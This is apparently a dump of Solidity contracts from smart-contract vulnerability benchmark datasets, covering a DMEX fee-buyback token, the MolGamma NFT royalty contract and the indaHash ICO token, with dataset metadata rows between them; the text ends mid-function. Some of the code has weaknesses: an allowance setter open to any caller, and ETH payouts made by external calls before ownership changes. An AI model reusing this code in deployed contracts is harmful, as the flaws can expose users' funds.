// Safe Multiply Function - prevents integer overflow
function safeMul(uint a, uint b) pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Safe Subtraction Function - prevents integer overflow
function safeSub(uint a, uint b) pure returns (uint) {
assert(b <= a);
return a - b;
}
// Safe Addition Function - prevents integer overflow
function safeAdd(uint a, uint b) pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
address public owner; // holds the address of the contract owner
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => address) public uniswapTokenContracts; // mapping of tokens to uniswapTokenContratcs for swap
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
event LogUint(uint8 id, uint256 value);
function DMEX_Token(uint256 initialSupply,
string tokenName,
string tokenSymbol,
address _operationalAddress) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
operationalAddress = _operationalAddress;
owner = msg.sender;
}
// allows contract to receive ETH
function () payable {}
// Change operational wallet
function changeOperationalAddress (address newOperationalAddress) onlyOwner {
operationalAddress = newOperationalAddress;
}
// Adds an uniswap exchange contract for a new collateral token
function setUniswapTokenContract(address token, address _uniswapTokenContract) onlyOwner {
uniswapTokenContracts[token] = _uniswapTokenContract;
}
function extractFeesFromDmex (address token, address dmexContractAddress) public
{
uint256 availableBalance = DMEX_Base(dmexContractAddress).availableBalanceOf(token, this);
DMEX_Base(dmexContractAddress).withdraw(token, availableBalance);
uint256 ethAmount;
if (uniswapTokenContracts[token] == address(0)) revert();
if (token != address(0))
{
// transfer token to uniswap token contract
ERC20Interface(token).approve(uniswapTokenContracts[token], availableBalance);
// swap token for ETH
ethAmount = UniswapExchangeInterface(uniswapTokenContracts[token]).tokenToEthSwapInput(availableBalance, 1, 2**256 - 1);
}
else
{
ethAmount = availableBalance;
}
uint256 buybackValue = safeMul(ethAmount, buybackPct) / 1e18;
uint256 operationalValue = safeSub(ethAmount, buybackValue);
// use the buybackValue to buy back tokens through the UniSwap contract
uint256 tokens_bought = UniswapExchangeInterface(uniswapTokenContracts[address(0)]).ethToTokenSwapInput.value(buybackValue)(1, 2**256 - 1);
// send the operational income share to the operational address
if (!operationalAddress.send(operationalValue))
{
revert();
}
// burn bought tokens and reduce total supply
selfBurn(tokens_bought);
}
// used once when deploying the uniswap exchange
function allowUniswap(uint256 tokenAmount)
{
allowance[this][uniswapTokenContracts[address(0)]] = tokenAmount;
}
// provides initial liquidity to the uniswap exchange
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) onlyOwner
{
UniswapExchangeInterface(uniswapTokenContracts[address(0)]).addLiquidity.value(ethAmount)(1, tokenAmount, 2**256 - 1);
}
// Allows only the owner of the contract to execute the function
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
// Changes the owner of the contract
function setOwner(address newOwner) onlyOwner {
owner = newOwner;
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function selfBurn(uint256 _value) internal returns (bool success) {
require(balanceOf[this] >= _value); // Check if the sender has enough
balanceOf[this] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(this, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
| 185,936 | 1,765 |
bfe9c24dbc2300023e1356796b385ed09f651fefa8f5b4b71c10dc258d4c2118
| 14,778 |
.sol
|
Solidity
| false |
288323842
|
Mol-LeArt/Smart-Contracts
|
afa5481d5be8a7342b106ecd42811baabad2838e
|
MolGamma - gRoyalties.sol
| 4,070 | 14,328 |
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
library Utilities {
function append(string memory a, string memory b) internal pure returns (string memory) {
return string(abi.encodePacked(a, b));
}
}
contract MolGamma {
using SafeMath for uint256;
address payable public creator;
address public mol = 0xF09631d7BA044bfe44bBFec22c0A362c7e9DCDd8;
address payable public molBank = 0xF09631d7BA044bfe44bBFec22c0A362c7e9DCDd8;
address public socialAddress = address(0);
uint256 public constant GAMMA_MAX = 5772156649015328606065120900824024310421;
uint256 public molFee = 5;
uint256 public socialAirdrop;
uint256 public startingRoyalties = 10;
uint256 public totalSupply;
string public gRoyaltiesURI;
string public name;
string public symbol;
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public getApproved;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => uint8) public didPrimarySale; // Primary sale
mapping(uint256 => uint256) public tokenByIndex;
mapping(uint256 => string) public tokenURI;
mapping(uint256 => Sale) public sale;
mapping(bytes4 => bool) public supportsInterface; // eip-165
mapping(uint256 => address payable[]) public gRoyaltiesByTokenId; // gRoyaltiesByTokenId[tokenId][array of gRoyalties address]
mapping(uint256 => uint256[]) public royaltiesByTokenId; // royaltiesByTokenId[tokenId][array of royalties %]
mapping(address => mapping(address => bool)) public isApprovedForAll;
mapping(address => mapping(uint256 => uint256)) public tokenOfOwnerByIndex;
event Approval(address indexed approver, address indexed spender, uint256 indexed tokenId);
event ApprovalForAll(address indexed holder, address indexed operator, bool approved);
event gRoyaltiesMinted(address indexed contractAddress);
event MolBankUpdated(address indexed _molBank);
event MolFeesUpdated(uint256 indexed _molFees);
event MolUpdated(address indexed _mol);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event UpdateSale(uint8 forSale, uint256 indexed ethPrice, uint256 indexed tokenId);
struct Sale {
uint8 forSale; // 0 = not on sale, 1 = on sale
uint256 ethPrice;
}
constructor (string memory _name, string memory _symbol, string memory _gRoyaltiesURI) public {
supportsInterface[0x80ac58cd] = true; // ERC721
supportsInterface[0x5b5e139f] = true; // METADATA
supportsInterface[0x780e9d63] = true; // ENUMERABLE
name = _name;
symbol = _symbol;
creator = msg.sender;
gRoyaltiesURI = _gRoyaltiesURI;
}
function approve(address spender, uint256 tokenId) external {
require(msg.sender == ownerOf[tokenId] || isApprovedForAll[ownerOf[tokenId]][msg.sender], "!owner/operator");
getApproved[tokenId] = spender;
emit Approval(msg.sender, spender, tokenId);
}
function distributeRoyalties(uint256 _tokenId, uint256 _ethPrice) private returns (uint256){
require(gRoyaltiesByTokenId[_tokenId].length == royaltiesByTokenId[_tokenId].length, "!ownersByTokenId/ownerRoyaltiesByTokenId");
uint256 royaltyPayout;
uint256 totalPayout = _ethPrice.div(100);
for (uint256 i = 0; i < gRoyaltiesByTokenId[_tokenId].length; i++) {
uint256 eachPayout;
eachPayout = totalPayout.mul(royaltiesByTokenId[_tokenId][i]);
royaltyPayout += eachPayout;
(bool success,) = address(uint160(gRoyaltiesByTokenId[_tokenId][i])).call.value(eachPayout)("");
require(success, "!transfer");
}
return royaltyPayout;
}
function mint(uint8 forSale, uint256 ethPrice, string calldata _tokenURI) external {
totalSupply++;
require(forSale <= 1, "!forSale value");
require(totalSupply <= GAMMA_MAX, "maxed");
uint256 tokenId = totalSupply;
balanceOf[msg.sender]++;
didPrimarySale[tokenId] = 0;
// ownersByTokenId[tokenId].push(msg.sender); // push minter to owners registry per token Id
ownerOf[tokenId] = msg.sender;
royaltiesByTokenId[tokenId].push(startingRoyalties); // push royalties % of minter to royalties registry per token Id
sale[tokenId].ethPrice = ethPrice;
sale[tokenId].forSale = forSale;
tokenByIndex[tokenId - 1] = tokenId;
tokenOfOwnerByIndex[msg.sender][tokenId - 1] = tokenId;
tokenURI[tokenId] = _tokenURI;
// mint royalties token and transfer to artist
gRoyalties g = new gRoyalties();
g.mint(Utilities.append(name, " Royalties Token"), gRoyaltiesURI);
g.transfer(msg.sender, 1);
gRoyaltiesByTokenId[tokenId].push(address(g));
emit gRoyaltiesMinted(address(g));
emit Transfer(address(0), msg.sender, tokenId);
emit UpdateSale(forSale, ethPrice, tokenId);
}
function purchase(uint256 tokenId) payable external {
require(msg.value == sale[tokenId].ethPrice, "!ethPrice");
require(msg.sender != ownerOf[tokenId], "owner");
require(sale[tokenId].forSale == 1, "!forSale");
if (didPrimarySale[tokenId] == 0) {
(bool success,) = ownerOf[tokenId].call.value(msg.value)("");
require(success, "!transfer");
didPrimarySale[tokenId] = 1;
} else {
uint256 molPayout = molFee.mul(sale[tokenId].ethPrice).div(100);
uint256 royaltyPayout = distributeRoyalties(tokenId, msg.value);
(bool success,) = molBank.call.value(molPayout)("");
require(success, "!transfer");
uint256 ownerCut = sale[tokenId].ethPrice.sub(molPayout).sub(royaltyPayout);
(success,) = ownerOf[tokenId].call.value(ownerCut)("");
require(success, "!transfer");
}
_transfer(ownerOf[tokenId], msg.sender, tokenId);
royaltiesByTokenId[tokenId].push(royaltiesByTokenId[tokenId][royaltiesByTokenId[tokenId].length.sub(1)].sub(1)); // push decayed royalties % to royalties registry per token Id
// mint royalties token and transfer to artist
gRoyalties g = new gRoyalties();
g.mint(Utilities.append(name, " Royalties Token"), gRoyaltiesURI);
g.transfer(creator, 1);
gRoyaltiesByTokenId[tokenId].push(address(g));
// Airdrop $social
if (socialAddress != address(0) && IERC20(socialAddress).balanceOf(address(this)) > socialAirdrop) {
IERC20(socialAddress).transfer(msg.sender, socialAirdrop);
}
emit gRoyaltiesMinted(address(g));
}
function setSocialAirdrop(address social, uint256 amount) external {
require(msg.sender == creator, "!creator");
socialAddress = social;
socialAirdrop = amount;
}
function setApprovalForAll(address operator, bool approved) external {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function _transfer(address from, address to, uint256 tokenId) internal {
balanceOf[from]--;
balanceOf[to]++;
getApproved[tokenId] = address(0);
ownerOf[tokenId] = to;
sale[tokenId].forSale = 0;
tokenOfOwnerByIndex[from][tokenId - 1] = 0;
tokenOfOwnerByIndex[to][tokenId - 1] = tokenId;
emit Transfer(from, to, tokenId);
}
function transfer(address to, uint256 tokenId) external {
require(msg.sender == ownerOf[tokenId], "!owner");
_transfer(msg.sender, to, tokenId);
}
function transferFrom(address from, address to, uint256 tokenId) external {
require(msg.sender == ownerOf[tokenId] || getApproved[tokenId] == msg.sender || isApprovedForAll[ownerOf[tokenId]][msg.sender], "!owner/spender/operator");
_transfer(from, to, tokenId);
}
function updateSale(uint256 ethPrice, uint256 tokenId, uint8 forSale) external {
require(msg.sender == ownerOf[tokenId], "!owner"); // Communal ownership
sale[tokenId].ethPrice = ethPrice;
sale[tokenId].forSale = forSale;
emit UpdateSale(forSale, ethPrice, tokenId);
}
function getAllTokenURI() public view returns (string[] memory){
string[] memory ret = new string[](totalSupply);
for (uint i = 0; i < totalSupply; i++) {
ret[i] = tokenURI[i.add(1)];
}
return ret;
}
function getRoyalties(uint256 _tokenId) public view returns (address payable[] memory, uint256[] memory) {
address payable[] memory gR = gRoyaltiesByTokenId[_tokenId];
uint256[] memory r = royaltiesByTokenId[_tokenId];
return (gR, r);
}
modifier onlyMol () {
require(msg.sender == mol, "!Mol");
_;
}
function molTransfer(address to, uint256 tokenId) public onlyMol {
_transfer(ownerOf[tokenId], to, tokenId);
}
function updateMol(address payable _mol) public onlyMol {
mol = _mol;
emit MolUpdated(mol);
}
function updateMolBank(address payable _molBank) public onlyMol {
molBank = _molBank;
emit MolBankUpdated(molBank);
}
function updateMolFees(uint256 _molFee) public onlyMol {
molFee = _molFee;
emit MolFeesUpdated(molFee);
}
}
contract gRoyalties { // - mv - NFT - mkt -
uint256 public totalSupply = 1;
string public name;
string public symbol= "gRoyalties";
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public getApproved;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => uint256) public tokenByIndex;
mapping(uint256 => string) public tokenURI;
mapping(uint256 => Sale) public sale;
mapping(bytes4 => bool) public supportsInterface; // eip-165
mapping(address => mapping(address => bool)) public isApprovedForAll;
mapping(address => mapping(uint256 => uint256)) public tokenOfOwnerByIndex;
event Approval(address indexed approver, address indexed spender, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event UpdateSale(uint256 indexed ethPrice, uint256 indexed tokenId, bool forSale);
struct Sale {
uint256 ethPrice;
bool forSale;
}
constructor () public {
supportsInterface[0x80ac58cd] = true; // ERC721
supportsInterface[0x5b5e139f] = true; // METADATA
supportsInterface[0x780e9d63] = true; // ENUMERABLE
}
function approve(address spender, uint256 tokenId) external {
require(msg.sender == ownerOf[tokenId] || isApprovedForAll[ownerOf[tokenId]][msg.sender], "!owner/operator");
getApproved[tokenId] = spender;
emit Approval(msg.sender, spender, tokenId);
}
function mint(string calldata _name, string calldata _tokenURI) external {
name = _name;
// use totalSupply as tokenId
balanceOf[msg.sender]++;
ownerOf[totalSupply] = msg.sender;
tokenByIndex[totalSupply - 1] = totalSupply;
tokenURI[totalSupply] = _tokenURI;
tokenOfOwnerByIndex[msg.sender][totalSupply - 1] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function purchase(uint256 tokenId) payable external {
require(msg.value == sale[tokenId].ethPrice, "!ethPrice");
require(sale[tokenId].forSale, "!forSale");
(bool success,) = ownerOf[tokenId].call.value(msg.value)("");
require(success, "!transfer");
_transfer(ownerOf[tokenId], msg.sender, tokenId);
}
function setApprovalForAll(address operator, bool approved) external {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function _transfer(address from, address to, uint256 tokenId) internal {
balanceOf[from]--;
balanceOf[to]++;
getApproved[tokenId] = address(0);
ownerOf[tokenId] = to;
sale[tokenId].forSale = false;
tokenOfOwnerByIndex[from][tokenId - 1] = 0;
tokenOfOwnerByIndex[to][tokenId - 1] = tokenId;
emit Transfer(from, to, tokenId);
}
function transfer(address to, uint256 tokenId) external {
require(msg.sender == ownerOf[tokenId], "!owner");
_transfer(msg.sender, to, tokenId);
}
function transferFrom(address from, address to, uint256 tokenId) external {
require(msg.sender == ownerOf[tokenId] || getApproved[tokenId] == msg.sender || isApprovedForAll[ownerOf[tokenId]][msg.sender], "!owner/spender/operator");
_transfer(from, to, tokenId);
}
function updateSale(uint256 ethPrice, uint256 tokenId, bool forSale) payable external {
require(msg.sender == ownerOf[tokenId], "!owner");
sale[tokenId].ethPrice = ethPrice;
sale[tokenId].forSale = forSale;
emit UpdateSale(ethPrice, tokenId, forSale);
}
function withdraw() payable public {
require(msg.sender == ownerOf[totalSupply], "!owner");
(bool success,) = msg.sender.call.value(address(this).balance)("");
require(success, "!transfer");
}
function() external payable { require(msg.data.length ==0); }
}
| 169,217 | 1,766 |
f1035cf9d2002d35a5cdb53ac806173120638c9d484d2fa1424df70ebd01e5fe
| 17,296 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4895d0fcb5489434fd856f2942d578ea0c1aed15.sol
| 3,777 | 14,364 |
pragma solidity ^0.4.16;
// ----------------------------------------------------------------------------
//
// IDH indaHash token public sale contract
//
// For details, please visit: https://indahash.com/ico
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
//
// SafeMath3
//
// (no need to implement division)
//
// ----------------------------------------------------------------------------
library SafeMath3 {
function mul(uint a, uint b) internal constant returns (uint c) {
c = a * b;
assert(a == 0 || c / a == b);
}
function sub(uint a, uint b) internal constant returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal constant returns (uint c) {
c = a + b;
assert(c >= a);
}
}
// ----------------------------------------------------------------------------
//
// Owned contract
//
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
// Events ---------------------------
event OwnershipTransferProposed(address indexed _from, address indexed _to);
event OwnershipTransferred(address indexed _from, address indexed _to);
// Modifier -------------------------
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Functions ------------------------
function Owned() {
owner = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner {
require(_newOwner != owner);
require(_newOwner != address(0x0));
OwnershipTransferProposed(owner, _newOwner);
newOwner = _newOwner;
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// ----------------------------------------------------------------------------
//
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
// Events ---------------------------
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
// Functions ------------------------
function totalSupply() constant returns (uint);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
}
// ----------------------------------------------------------------------------
//
// ERC Token Standard #20
//
// ----------------------------------------------------------------------------
contract ERC20Token is ERC20Interface, Owned {
using SafeMath3 for uint;
uint public tokensIssuedTotal = 0;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) allowed;
// Functions ------------------------
function totalSupply() constant returns (uint) {
return tokensIssuedTotal;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function transfer(address _to, uint _amount) returns (bool success) {
// amount sent cannot exceed balance
require(balances[msg.sender] >= _amount);
// update balances
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
Transfer(msg.sender, _to, _amount);
return true;
}
function approve(address _spender, uint _amount) returns (bool success) {
// approval amount cannot exceed the balance
require (balances[msg.sender] >= _amount);
// update allowed amount
allowed[msg.sender][_spender] = _amount;
// log event
Approval(msg.sender, _spender, _amount);
return true;
}
function transferFrom(address _from, address _to, uint _amount) returns (bool success) {
// balance checks
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
// update balances and allowed amount
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
Transfer(_from, _to, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
// ----------------------------------------------------------------------------
//
// IDH public token sale
//
// ----------------------------------------------------------------------------
contract IndaHashToken is ERC20Token {
uint constant E6 = 10**6;
string public constant name = "indaHash Coin";
string public constant symbol = "IDH";
uint8 public constant decimals = 6;
address public wallet;
address public adminWallet;
uint public constant DATE_PRESALE_START = 1510151400; // 08-Nov-2017 14:30 UTC
uint public constant DATE_PRESALE_END = 1510758000; // 15-Nov-2017 15:00 UTC
uint public constant DATE_ICO_START = 1511967600; // 29-Nov-2017 15:00 UTC
uint public constant DATE_ICO_END = 1513782000; // 20-Dec-2017 15:00 UTC
uint public tokensPerEth = 3200 * E6; // rate during last ICO week
uint public constant BONUS_PRESALE = 40;
uint public constant BONUS_ICO_WEEK_ONE = 20;
uint public constant BONUS_ICO_WEEK_TWO = 10;
uint public constant TOKEN_SUPPLY_TOTAL = 400 * E6 * E6; // 400 mm tokens
uint public constant TOKEN_SUPPLY_ICO = 320 * E6 * E6; // 320 mm tokens
uint public constant TOKEN_SUPPLY_MKT = 80 * E6 * E6; // 80 mm tokens
uint public constant PRESALE_ETH_CAP = 15000 ether;
uint public constant MIN_FUNDING_GOAL = 40 * E6 * E6; // 40 mm tokens
uint public constant MIN_CONTRIBUTION = 1 ether / 20; // 0.05 Ether
uint public constant MAX_CONTRIBUTION = 300 ether;
uint public constant COOLDOWN_PERIOD = 2 days;
uint public constant CLAWBACK_PERIOD = 90 days;
uint public icoEtherReceived = 0; // Ether actually received by the contract
uint public tokensIssuedIco = 0;
uint public tokensIssuedMkt = 0;
uint public tokensClaimedAirdrop = 0;
mapping(address => uint) public icoEtherContributed;
mapping(address => uint) public icoTokensReceived;
mapping(address => bool) public airdropClaimed;
mapping(address => bool) public refundClaimed;
// Events ---------------------------
event WalletUpdated(address _newWallet);
event AdminWalletUpdated(address _newAdminWallet);
event TokensPerEthUpdated(uint _tokensPerEth);
event TokensMinted(address indexed _owner, uint _tokens, uint _balance);
event TokensIssued(address indexed _owner, uint _tokens, uint _balance, uint _etherContributed);
event Refund(address indexed _owner, uint _amount, uint _tokens);
event Airdrop(address indexed _owner, uint _amount, uint _balance);
// Basic Functions ------------------
function IndaHashToken() {
require(TOKEN_SUPPLY_ICO + TOKEN_SUPPLY_MKT == TOKEN_SUPPLY_TOTAL);
wallet = owner;
adminWallet = owner;
}
function () payable {
buyTokens();
}
// Information functions ------------
function atNow() constant returns (uint) {
return now;
}
function icoThresholdReached() constant returns (bool thresholdReached) {
if (tokensIssuedIco < MIN_FUNDING_GOAL) return false;
return true;
}
function isTransferable() constant returns (bool transferable) {
if (!icoThresholdReached()) return false;
if (atNow() < DATE_ICO_END + COOLDOWN_PERIOD) return false;
return true;
}
// Owner Functions ------------------
function setWallet(address _wallet) onlyOwner {
require(_wallet != address(0x0));
wallet = _wallet;
WalletUpdated(wallet);
}
function setAdminWallet(address _wallet) onlyOwner {
require(_wallet != address(0x0));
adminWallet = _wallet;
AdminWalletUpdated(adminWallet);
}
function updateTokensPerEth(uint _tokensPerEth) onlyOwner {
require(atNow() < DATE_PRESALE_START);
tokensPerEth = _tokensPerEth;
TokensPerEthUpdated(_tokensPerEth);
}
function mintMarketing(address _participant, uint _tokens) onlyOwner {
// check amount
require(_tokens <= TOKEN_SUPPLY_MKT.sub(tokensIssuedMkt));
// update balances
balances[_participant] = balances[_participant].add(_tokens);
tokensIssuedMkt = tokensIssuedMkt.add(_tokens);
tokensIssuedTotal = tokensIssuedTotal.add(_tokens);
// log the miniting
Transfer(0x0, _participant, _tokens);
TokensMinted(_participant, _tokens, balances[_participant]);
}
function ownerClawback() external onlyOwner {
require(atNow() > DATE_ICO_END + CLAWBACK_PERIOD);
wallet.transfer(this.balance);
}
function transferAnyERC20Token(address tokenAddress, uint amount) onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, amount);
}
// Private functions ----------------
function buyTokens() private {
uint ts = atNow();
bool isPresale = false;
bool isIco = false;
uint tokens = 0;
// minimum contribution
require(msg.value >= MIN_CONTRIBUTION);
// one address transfer hard cap
require(icoEtherContributed[msg.sender].add(msg.value) <= MAX_CONTRIBUTION);
// check dates for presale or ICO
if (ts > DATE_PRESALE_START && ts < DATE_PRESALE_END) isPresale = true;
if (ts > DATE_ICO_START && ts < DATE_ICO_END) isIco = true;
require(isPresale || isIco);
// presale cap in Ether
if (isPresale) require(icoEtherReceived.add(msg.value) <= PRESALE_ETH_CAP);
// get baseline number of tokens
tokens = tokensPerEth.mul(msg.value) / 1 ether;
// apply bonuses (none for last week)
if (isPresale) {
tokens = tokens.mul(100 + BONUS_PRESALE) / 100;
} else if (ts < DATE_ICO_START + 7 days) {
// first week ico bonus
tokens = tokens.mul(100 + BONUS_ICO_WEEK_ONE) / 100;
} else if (ts < DATE_ICO_START + 14 days) {
// second week ico bonus
tokens = tokens.mul(100 + BONUS_ICO_WEEK_TWO) / 100;
}
// ICO token volume cap
require(tokensIssuedIco.add(tokens) <= TOKEN_SUPPLY_ICO);
// register tokens
balances[msg.sender] = balances[msg.sender].add(tokens);
icoTokensReceived[msg.sender] = icoTokensReceived[msg.sender].add(tokens);
tokensIssuedIco = tokensIssuedIco.add(tokens);
tokensIssuedTotal = tokensIssuedTotal.add(tokens);
// register Ether
icoEtherReceived = icoEtherReceived.add(msg.value);
icoEtherContributed[msg.sender] = icoEtherContributed[msg.sender].add(msg.value);
// log token issuance
Transfer(0x0, msg.sender, tokens);
TokensIssued(msg.sender, tokens, balances[msg.sender], msg.value);
// transfer Ether if we're over the threshold
if (icoThresholdReached()) wallet.transfer(this.balance);
}
// ERC20 functions ------------------
function transfer(address _to, uint _amount) returns (bool success) {
require(isTransferable());
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint _amount) returns (bool success) {
require(isTransferable());
return super.transferFrom(_from, _to, _amount);
}
// External functions ---------------
function reclaimFunds() external {
uint tokens; // tokens to destroy
uint amount; // refund amount
// ico is finished and was not successful
require(atNow() > DATE_ICO_END && !icoThresholdReached());
// check if refund has already been claimed
require(!refundClaimed[msg.sender]);
// check if there is anything to refund
require(icoEtherContributed[msg.sender] > 0);
// update variables affected by refund
tokens = icoTokensReceived[msg.sender];
amount = icoEtherContributed[msg.sender];
balances[msg.sender] = balances[msg.sender].sub(tokens);
tokensIssuedTotal = tokensIssuedTotal.sub(tokens);
refundClaimed[msg.sender] = true;
// transfer out refund
msg.sender.transfer(amount);
// log
Transfer(msg.sender, 0x0, tokens);
Refund(msg.sender, amount, tokens);
}
function claimAirdrop() external {
doAirdrop(msg.sender);
}
function adminClaimAirdrop(address _participant) external {
require(msg.sender == adminWallet);
doAirdrop(_participant);
}
function adminClaimAirdropMultiple(address[] _addresses) external {
require(msg.sender == adminWallet);
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i]);
}
function doAirdrop(address _participant) internal {
uint airdrop = computeAirdrop(_participant);
require(airdrop > 0);
// update balances and token issue volume
airdropClaimed[_participant] = true;
balances[_participant] = balances[_participant].add(airdrop);
tokensIssuedTotal = tokensIssuedTotal.add(airdrop);
tokensClaimedAirdrop = tokensClaimedAirdrop.add(airdrop);
// log
Airdrop(_participant, airdrop, balances[_participant]);
Transfer(0x0, _participant, airdrop);
}
function computeAirdrop(address _participant) constant returns (uint airdrop) {
// return 0 if it's too early or ico was not successful
if (atNow() < DATE_ICO_END || !icoThresholdReached()) return 0;
// return 0 is the airdrop was already claimed
if(airdropClaimed[_participant]) return 0;
// return 0 if the account does not hold any crowdsale tokens
if(icoTokensReceived[_participant] == 0) return 0;
// airdrop amount
uint tokens = icoTokensReceived[_participant];
uint newBalance = tokens.mul(TOKEN_SUPPLY_ICO) / tokensIssuedIco;
airdrop = newBalance - tokens;
}
function transferMultiple(address[] _addresses, uint[] _amounts) external {
require(isTransferable());
require(_addresses.length == _amounts.length);
for (uint i = 0; i < _addresses.length; i++) super.transfer(_addresses[i], _amounts[i]);
}
}
| 191,183 | 1,767 |
483489eaf665fb3e9d111949691e22ae258aff259bbccdc98ef77b4808089a85
| 24,623 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xc415ff15fbd915c46be417cf57a0c6451a778128.sol
| 6,181 | 22,174 |
pragma solidity =0.5.12;
interface ICards {
function cardProtos(uint tokenId) external view returns (uint16 proto);
function cardQualities(uint tokenId) external view returns (uint8 quality);
}
interface IERC721 {
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
function ownerOf(uint256 tokenId) external view returns (address owner);
}
contract GodsUnchainedCards is IERC721, ICards {}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
